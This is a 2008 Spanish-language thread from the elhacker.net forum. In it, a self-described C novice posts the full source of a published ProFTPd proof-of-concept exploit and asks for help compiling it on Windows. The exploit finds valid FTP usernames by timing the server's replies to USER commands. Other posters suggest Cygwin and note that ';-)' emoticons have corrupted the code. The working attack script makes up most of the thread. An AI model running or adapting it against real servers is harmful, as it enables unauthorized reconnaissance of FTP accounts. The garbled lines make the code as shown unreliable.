elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:01  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Problema al copilar exploit en C
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema al copilar exploit en C  (Leído 2,393 veces)
metroid_300

Desconectado Desconectado

Mensajes: 13



Ver Perfil
Problema al copilar exploit en C
« en: 23 Marzo 2008, 18:55 »

Bueno la verdad es que no tengo ni idea de C xD  y por eso no pude copilar bien este exploit:

// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n";-) ;

if (argc != 3) { printf ("usage: %s ",argv[0];-) ; exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1];-) ;
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ";-) ;
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2];-) ;
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}

pagina: http://downloads.securityfocus.com/vulnerabilities/exploits/proftpd.c

saludos y gracias de antemano..
En línea
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Problema al copilar exploit en C
« Respuesta #1 en: 23 Marzo 2008, 19:24 »

¿y? que problema tienes? ¿que SO utilizas? y.... ¿cual es el error concretamente?
En línea
metroid_300

Desconectado Desconectado

Mensajes: 13



Ver Perfil
Re: Problema al copilar exploit en C
« Respuesta #2 en: 24 Marzo 2008, 11:03 »

Uso Windows XP y el problema es que cuando intento copilar me aparece esto:
« Última modificación: 24 Marzo 2008, 11:17 por metroid_300 » En línea
El_ente

Desconectado Desconectado

Mensajes: 31



Ver Perfil
Re: Problema al copilar exploit en C
« Respuesta #3 en: 24 Marzo 2008, 15:30 »

Bueno, primero que éste exploit es para linux, y por lo que veo lo estás intentando compilar con gcc para windows. Con cygwin lo he probado y compila bien.
Segundo: El autor del exploit ha metido caracteres raros por mitad del código, y hasta que no se los quites, no lo vas a poder compilar. Los caracteres son fáciles de encontrar, ya que son simples guiños: ";-".
Saludos.
En línea
metroid_300

Desconectado Desconectado

Mensajes: 13



Ver Perfil
Re: Problema al copilar exploit en C
« Respuesta #4 en: 24 Marzo 2008, 22:02 »

Pero yo no entiendo nada de C ni de exploits..debo tener linux para poder copilarlo?

saludos.
En línea
El_ente

Desconectado Desconectado

Mensajes: 31



Ver Perfil
Re: Problema al copilar exploit en C
« Respuesta #5 en: 24 Marzo 2008, 22:17 »

No, hay un emulador llamado cygwin:

Cygwin is a Linux-like environment for Windows. It consists of two parts:
A DLL (cygwin1.dll) which acts as a Linux API emulation layer providing substantial Linux API functionality.

http://www.cygwin.com

Mas información en castellano:

http://es.wikipedia.org/wiki/Cygwin
En línea
metroid_300

Desconectado Desconectado

Mensajes: 13



Ver Perfil
Re: Problema al copilar exploit en C
« Respuesta #6 en: 24 Marzo 2008, 23:16 »

Pero con MinGW se podra tambien ¿no? Pues intente y algo hice mal que no copilo..

saludos
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
problema al copilar mis programa hechos en C++ ubuntu
Programación C/C++
N-635766-A 3 1,354 Último mensaje 12 Junio 2011, 05:09
por N-635766-A
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines